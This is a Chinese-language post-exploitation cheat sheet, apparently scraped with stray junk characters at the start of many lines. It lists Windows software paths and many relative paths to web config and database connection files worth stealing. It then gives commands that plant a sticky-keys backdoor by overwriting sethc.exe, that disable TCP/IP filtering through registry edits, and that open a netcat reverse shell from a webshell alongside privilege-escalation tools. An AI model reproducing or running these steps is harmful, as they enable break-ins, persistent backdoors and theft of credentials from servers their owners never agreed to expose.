( G7 S$ q. z2 ^  q* g3 i: K& fc:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
/ J) }& b8 M1 _) T2 ]c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
5 c$ k7 A$ Q- R' aC:\Program Files\FlashFXP\flashfxp.exe
5 ]: M% E0 M/ |' w* Z! L$ r/ _c:\Program Files\Oracle\bin\regsvr32.exe
! U6 [3 @! ?5 K  W& }# Rc:\Program Files\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
' l- @" L/ o+ [1 p5 a4 Sc:\Program Files\tencent\QQGAME\readme.txt
1 r$ t, m# ?0 T' QC:\Program Files\StormII\Storm.exe

) r6 O3 ?2 N& {% X  }* p3.网站相对路径:

" }( M  e# T4 p: X7 V+ \, C/config.php
../../config.php
9 p6 S& u% Q4 G# ?../config.php
../../../config.php
9 U& y6 Y) S0 `5 v/config.inc.php
./config.inc.php
../../config.inc.php
4 I$ K. U5 }4 }& S' g6 Q0 x../config.inc.php
../../../config.inc.php
/conn.php
./conn.php
../../conn.php
7 S" F7 z! q" q" v4 [../conn.php
../../../conn.php
! Q, ?( i/ V- g) @1 {/conn.asp
8 r2 A+ F+ [9 g9 [* U./conn.asp
( S- @1 A; q9 Z9 K3 x- |$ i../../conn.asp
../conn.asp
../../../conn.asp
/config.inc.php
; Y; U. L! A* ^+ r8 `1 {, S; Y./config.inc.php
../../config.inc.php
../config.inc.php
9 T1 v1 m/ ^4 q, W../../../config.inc.php
/config/config.php
../../config/config.php
) i$ l; Y& y4 T' L../config/config.php
../../../config/config.php
! G* c) p8 b$ s* V4 t. a4 I/config/config.inc.php
./config/config.inc.php
! ?0 I$ w5 I( t6 T& _../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
2 v  l0 u9 [, Y  J! Q/config/conn.php
./config/conn.php
9 V4 Z5 G2 ]6 j4 ^7 p: ?, |% n../../config/conn.php
; A5 q/ U2 }* V0 E! q& J../config/conn.php
  K: W: ?( F/ h5 ~+ v../../../config/conn.php
, V# P4 m" W4 w0 h, _7 Y/config/conn.asp
./config/conn.asp
& l. I8 ?, a4 x" c9 ?1 ?../../config/conn.asp
../config/conn.asp
../../../config/conn.asp
/config/config.inc.php
./config/config.inc.php
9 `4 b/ }' t* q- W" ~( e../../config/config.inc.php
../config/config.inc.php
../../../config/config.inc.php
4 G! C+ ~7 N1 z: z& s* c- [0 r/data/config.php
../../data/config.php
../data/config.php
! }" `3 M9 L8 f0 z  L0 k' A../../../data/config.php
/data/config.inc.php
3 w1 q; K, t6 q! j2 `! x% t% H./data/config.inc.php
../../data/config.inc.php
: U- a5 @. S$ i( R- [../data/config.inc.php
../../../data/config.inc.php
- P0 w2 W1 [. Y  _( d4 A/data/conn.php
8 H2 y2 y7 u* j8 k6 Q0 n% v# X./data/conn.php
* E# Q2 R8 o6 t' x../../data/conn.php
. X5 X0 p2 t2 X( ?../data/conn.php
* r4 A0 r: L' A% g2 n9 b8 [! X& o../../../data/conn.php
4 `3 S3 ^, o2 W* f- r4 S6 H9 l/data/conn.asp
+ y% E% t% j  [4 E0 r4 F./data/conn.asp
2 o3 T* o9 Q. [. W& J../../data/conn.asp
../data/conn.asp
../../../data/conn.asp
/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
  H$ l( P# Q0 y& @% b../data/config.inc.php
../../../data/config.inc.php
/include/config.php
: e& Q) Y, ~" P3 L. F../../include/config.php
, {3 U1 a. B2 x8 d4 U2 I8 v../include/config.php
../../../include/config.php
& f3 n8 W1 O% N: H: h; X$ n/include/config.inc.php
/ @: ~& |, P8 \6 Y./include/config.inc.php
' H$ f# F" d3 y3 p; C../../include/config.inc.php
0 O* v3 g, ^: _, |../include/config.inc.php
../../../include/config.inc.php
/include/conn.php
9 M, x3 l% _' ^3 S# z./include/conn.php
../../include/conn.php
( Z8 [! e/ {# v../include/conn.php
../../../include/conn.php
/include/conn.asp
./include/conn.asp
# C, O/ Q4 I; W) X- L4 P../../include/conn.asp
../include/conn.asp
../../../include/conn.asp
/include/config.inc.php
9 A" G2 ^1 s# k9 z6 U./include/config.inc.php
# F7 [- c* U% a2 ?+ N6 J) b) W4 i../../include/config.inc.php
. ~5 i" i2 z& F- E8 ?' {" Q5 Q../include/config.inc.php
../../../include/config.inc.php
( K  G; V$ x# X) l/inc/config.php
2 Y7 j0 m  k* Z../../inc/config.php
% S' P2 h  q) J. }) C../inc/config.php
../../../inc/config.php
; L1 }6 K( J- `# I/inc/config.inc.php
4 ~! M+ Z% T) H& [, k7 s./inc/config.inc.php
- d7 z; L. e7 m: O; j- ]& E: h../../inc/config.inc.php
../inc/config.inc.php
' g7 F7 P; D9 B- D- V( T../../../inc/config.inc.php
) s1 |0 [/ i' D7 c# y1 _0 L2 C; }/inc/conn.php
./inc/conn.php
../../inc/conn.php
( E' ?2 P+ M: h6 z0 E../inc/conn.php
../../../inc/conn.php
/inc/conn.asp
# C: l! Z( {+ v: p) f./inc/conn.asp
../../inc/conn.asp
../inc/conn.asp
../../../inc/conn.asp
/inc/config.inc.php
* t4 x- `' d2 f+ g  O./inc/config.inc.php
. @% U& b$ d; V* g$ q7 d../../inc/config.inc.php
9 m# ]& ]$ e  N../inc/config.inc.php
1 i5 G' J+ o8 c  H9 r) a' x' c../../../inc/config.inc.php
/index.php
./index.php
../../index.php
0 d) ^: I/ w5 m! y9 g; @../index.php
" g# }7 S9 [( ?6 y* p7 G  Y../../../index.php
( y+ G+ [. B# K1 a* J/index.asp
./index.asp
* S2 b6 M9 a8 N! r8 o../../index.asp
+ p3 E8 g/ `: L../index.asp
. G/ V, \* H, v$ U1 e. @6 U../../../index.asp
替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s
4 _" }3 t' V3 b+ Z+ n0 j8 f/ ~; c
　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

' _% G, U; }: p' G2 Y  b　　del c:\windows\system32\sethc.exe

/ i( K0 a( Z7 o' b, }5 D# K　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
$ `: \- H4 T" t
　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

% i# l$ K% K+ G& p# u) ?　　attrib c:\windows\system32\sethc.exe +h +r +s
: A7 A! z$ G" r. F. K
　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
" F: S; u' @  [5 P/ I: ~去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
' \9 z2 o! M; ZHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
; L6 Q, ~3 w  r5 O% v% LHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
8 l3 k/ L; S4 f- a# b
分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项

2 V6 P( x( o5 J) u然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

+ U1 j. H3 @4 M+ R2 S' l- \, j再将以上三个文件分别用
regedit -s D:\a.reg
regedit -s D:\b.reg
# D& N0 x$ w8 B4 qregedit -s D:\c.reg
2 F9 y* Y) F6 _: f0 l2 P' p, o导入注册表即可

/ F, W& A& K* ^. X$ ^webshell提权小技巧
cmd路径:
! t9 N( c9 m: Z# P; `3 lc:\windows\temp\cmd.exe
nc也在同目录下
. D" |. u/ m" x$ \+ ~" G6 `例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
$ l' w8 _! C, Z; w通常都不会成功。

而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
, p0 j) m/ _8 B7 v7 j这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功